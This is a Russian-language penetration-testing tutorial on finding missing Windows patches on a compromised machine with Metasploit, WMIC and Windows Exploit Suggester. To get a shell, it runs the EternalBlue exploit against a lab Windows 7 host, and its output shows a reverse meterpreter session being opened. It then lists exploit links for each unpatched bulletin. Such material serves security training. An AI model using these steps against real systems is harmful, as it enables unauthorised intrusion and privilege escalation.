3 способа поиска отсутствующих патчей в Windows

3 способа поиска отсутствующих патчей в Windows

Ни в одной операционной системе нет такого большого количества уязвимостей как в Windows, и для исправления проблем зачастую приходится выпускать патчи в спешке

3 способа поиска отсутствующих патчей в Windows

Автор: drd_

Ни в одной операционной системе нет такого большого количества уязвимостей как в Windows, и для исправления проблем зачастую приходится выпускать патчи в спешке. С точки зрения атакующего понимание, какие патчи присутствуют системе, может стать решающим фактором успеха при эксплуатации брешей и проникновении в систему. В этой статье мы рассмотрим три метода для поиска патчей, установленных в системе: Metasploit, WMIC и Windows Exploit Suggester.

В Metasploit будет использоваться пост-модуль для поиска отсутствующих патчей. В случае с WMIC будут запускаться команды напрямую в шелле системы для просмотра патчей. При помощи Windows Exploit Suggester мы будем сравнивать патчи, установленные в системе, с базой данных уязвимостей. В качестве атакующей системы будет использоваться Kali Linux, атакуемой – непропатченная версия Windows 7.

Метод 1: Metasploit

В терминале запускаем команду msfconsole.

~# msfconsole
 
[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
 
         .                                         .
 .
 
      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o
       '   dB'                     BBP
    dB'dB'dB' dBBP     dBP     dBP BB
   dB'dB'dB' dBP      dBP     dBP  BB
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB
 
                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP
          .                  .                  dB' dBP    dB'.BP
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP
 
                                                                    .
                .
        o                  To boldly go where no
                            shell has gone before
 
       =[ metasploit v5.0.20-dev                          ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post       ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]
 
msf5 >

Для запуска пост-модуля нам нужно скомпрометировать целевую систему и получить meterpreter-сессию. Поскольку мы имеем дело с непропатченной версией Windows 7, то можем выполнить быструю эксплуатацию при помощи EternalBlue.

Загружаем соответствующий модуль при помощи команды use:

msf5 > use exploit/windows/smb/ms17_010_eternalblue

Настраиваем нужные опции и выполняем команду run для запуска эксплоита:

msf5 exploit(windows/smb/ms17_010_eternalblue) > run
 
[*] Started reverse TCP handler on 10.10.0.1:1337
[+] 10.10.0.104:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1337 -> 10.10.0.104:49228) at 2019-10-27 12:28:32 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
meterpreter >

У нас появилась meterpreter-сессия в целевой системе. Поскольку пост-модули работают в текущей сессии в фоновом режиме, нам нужно перевести сессию в этот режим.

meterpreter > background
 
[*] Backgrounding session 1...

Теперь загружаем модуль при помощи команды use:

msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_patches

Если ввести команду options, Metasploit покажет все доступные настройки для текущего модуля:

msf5 post(windows/gather/enum_patches) > options
 
Module options (post/windows/gather/enum_patches):
 
   Name       Current Setting       Required  Description
   ----       ---------------       --------  -----------
   KB         KB2871997, KB2928120  yes       A comma separated list of KB patches to search for
   MSFLOCALS  true                  yes       Search for missing patchs for which there is a MSF local module
   SESSION                          yes       The session to run this module on.

Все, что нам нужно - установить номер сессии. При необходимости можно через запятую указать перечень дополнительных патчей для поиска. Однако сейчас подойдет стандартный набор.

При помощи команды set устанавливаем номер сессии, которая находится в фоновом режиме:

msf5 post(windows/gather/enum_patches) > set session 1
 
session => 1

Теперь вводим команду run для запуска модуля:

msf5 post(windows/gather/enum_patches) > run
 
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
[*] Postmodule execution completed

После отработки модуля видно, что первые два патча не установлены. Кроме того, отображены некоторые дополнительные потенциальные уязвимости и связанные патчи.

Метод 2: WMIC

WMIC (Windows Management Instrumentation Command-Line) представляет собой утилиту для выполнения WMI-операций в ОС Windows. В некотором смысле этот инструмент является командной оболочкой и может работать в интерактивном и неинтерактивном режиме.

Вначале нам нужен шелл в целевой системе. Используя ранее полученную meterpreter-сессию, подключаемся к системному шеллу.

Запускаем команду sessions с флагом i для взаимодействия с сессией:

msf5 > sessions -i 1
 
[*] Starting interaction with 1...
 
meterpreter >

В появившемся приглашении Meterpreter вводим команду shell и попадаем в системный шелл:

meterpreter > shell
 
Process 2452 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>

Теперь мы можем воспользоваться утилитой WMIC для просмотра установленных патчей. Вводим команду wmic qfe list и получаем список QFE-патчей (quick fix engineering), присутствующих в системе:

C:\Windows\system32> wmic qfe list
 
wmic qfe list
Caption                                     CSName  Description  FixComments  HotFixID   InstallDate  InstalledBy        InstalledOn  Name  ServicePackInEffect  Status
http://support.microsoft.com/?kbid=2534111  W02     Hotfix                    KB2534111                                  2/25/2019
http://support.microsoft.com/?kbid=976902   W02     Update                    KB976902                W02\Administrator  11/21/2010

По каждом патчу выводится ID, описание, информация об установке и URL. Мы также можем добавить к нашей команде слово full для получения сведений в немного другом формате:

C:\Windows\system32> wmic qfe list full
 
wmic qfe list full
 
Caption=http://support.microsoft.com/?kbid=2534111
CSName=W02
Description=Hotfix
FixComments=
HotFixID=KB2534111
InstallDate=
InstalledBy=
InstalledOn=2/25/2019
Name=
ServicePackInEffect=
Status=
 
Caption=http://support.microsoft.com/?kbid=976902
CSName=W02
Description=Update
FixComments=
HotFixID=KB976902
InstallDate=
InstalledBy=W02\Administrator
InstalledOn=11/21/2010
Name=
ServicePackInEffect=
Status=

Этот метод очень удобен, поскольку не требует ничего, кроме базового шелла в целевой системе для запуска WMIC.

Метод 3: WindowsExploit Suggester

Последний инструмент в нашем обзоре - Windows Exploit Suggester. Эта утилита, написанная на Python, сравнивает патчи, установленные в целевой системе с базой данных уязвимостей компании Microsoft. Все операции выполняются на нашей локальной машине.

Windows Exploit Suggester требует результатов отработки команды systeminfo в целевой системе для последующего сравнения с базой данных. Поскольку у нас все еще есть шелл, запускаем следующую команду:

C:\Windows\system32> systeminfo
 
systeminfo
 
Host Name:                 W02
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          admin2
Registered Organization:
Product ID:                00371-868-0000007-85704
Original Install Date:     2/25/2019, 2:04:46 PM
System Boot Time:          10/27/2019, 1:48:26 PM
System Manufacturer:       QEMU
System Model:              Standard PC (i440FX + PIIX, 1996)
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~2533 Mhz
BIOS Version:              SeaBIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org, 4/1/2014
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-06:00) Central Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,461 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,494 MB
Virtual Memory: In Use:    601 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    dlab.env
Logon Server:              N/A
Hotfix(s):                 2 Hotfix(s) Installed.
                           [01]: KB2534111
                           [02]: KB976902
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.0.100
                                 IP address(es)
                                 [01]: 10.10.0.104
                                 [02]: fe80::104:336c:a632:e39b

Сохраняем полученные результаты в текстовый файл на локальной машине:

~# cat system_info.txt
 
Host Name:                 W02
OS Name:                   Microsoft Windows 7 Professional
OS Version:                6.1.7601 Service Pack 1 Build 7601
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          admin2
Registered Organization:
Product ID:                00371-868-0000007-85704
Original Install Date:     2/25/2019, 2:04:46 PM
System Boot Time:          10/27/2019, 1:48:26 PM
System Manufacturer:       QEMU
System Model:              Standard PC (i440FX + PIIX, 1996)
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~2533 Mhz
BIOS Version:              SeaBIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org, 4/1/2014
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-06:00) Central Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,461 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 3,494 MB
Virtual Memory: In Use:    601 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    dlab.env
Logon Server:              N/A
Hotfix(s):                 2 Hotfix(s) Installed.
                           [01]: KB2534111
                           [02]: KB976902
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.10.0.100
                                 IP address(es)
                                 [01]: 10.10.0.104
                                 [02]: fe80::104:336c:a632:e39b

Теперь при помощи утилиты wget загружаем скрипт с GitHub:

~# wget https://raw.githubusercontent.com/GDSSecurity/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
 
--2019-10-27 12:38:34--  https://raw.githubusercontent.com/GDSSecurity/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 69175 (68K) [text/plain]
Saving to: ‘windows-exploit-suggester.py’
 
windows-exploit-suggester.py                          100%[======================================================================================================================>]  67.55K  --.-KB/s    in 0.07s
 
2019-10-27 12:38:34 (951 KB/s) - ‘windows-exploit-suggester.py’ saved [69175/69175]

Устанавливаем все необходимые зависимости (в нашем случае пакет python-xlrd).

~# apt-get install python-xlrd
 
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  python-xlrd
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 104 kB of archives.
After this operation, 490 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 python-xlrd all 1.1.0-1 [104 kB]
Fetched 104 kB in 1s (144 kB/s)
Selecting previously unselected package python-xlrd.
(Reading database ... 408990 files and directories currently installed.)
Preparing to unpack .../python-xlrd_1.1.0-1_all.deb ...
Unpacking python-xlrd (1.1.0-1) ...
Setting up python-xlrd (1.1.0-1) ...
Processing triggers for man-db (2.8.5-2) ...

Когда все необходимое установленное, нужно сгенерировать базу данные бюллетеней безопасности от Microsoft. Windows Exploit Suggester выполняет эту операцию автоматически, если указать аргумент update:

~# python windows-exploit-suggester.py --update
 
[*] initiating winsploit version 3.3...
[+] writing to file 2019-10-27-mssb.xls
[*] done

Теперь запускаем утилиту с указанием файлов с информацией от systeminfo и только что сгенерированной базой:

~# python windows-exploit-suggester.py --database 2019-10-27-mssb.xls --systeminfo system_info.txt
 
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file

Скрипт возвратит патчи, которые не установленные в целевой системе, вместе с релевантной информацией и ссылками:

[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 2 hotfix(es) against the 386 potential bulletins(s) with a database of 137 known exploits
[*] there are now 386 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 7 SP1 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-059: Security Update for Windows Media Center (3150220) - Important
[*]   https://www.exploit-db.com/exploits/39805/ -- Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059), PoC
[*]
[E] MS16-056: Security Update for Windows Journal (3156761) - Critical
[*]   https://www.exploit-db.com/exploits/40881/ -- Microsoft Internet Explorer - jscript9 Java­Script­Stack­Walker Memory Corruption (MS15-056)
[*]   http://blog.skylined.nl/20161206001.html -- MSIE jscript9 Java­Script­Stack­Walker memory corruption
 
...
 
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[*] done

Вероятно, этот метод позволяет получить наиболее достоверную информацию, поскольку при сравнении мы используем обновленную базу данных. Кроме того, здесь возможен удаленный запуск.

Заключение

В этом руководстве мы рассмотрели несколько методов для получения информации о неустановленных патчей на машине с ОС Windows. Вначале мы использовали пост-модуль в Metasploit, потом утилиту WMIC и в конце скрипт Windows Exploit Suggester, написанный на Python. Получение списка патчей чрезвычайно полезно во время атаки, поскольку мы сразу же сужаем количество потенциальных эксплоитов, экономим время и в итоге сильно упрощаем себе жизнь.

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться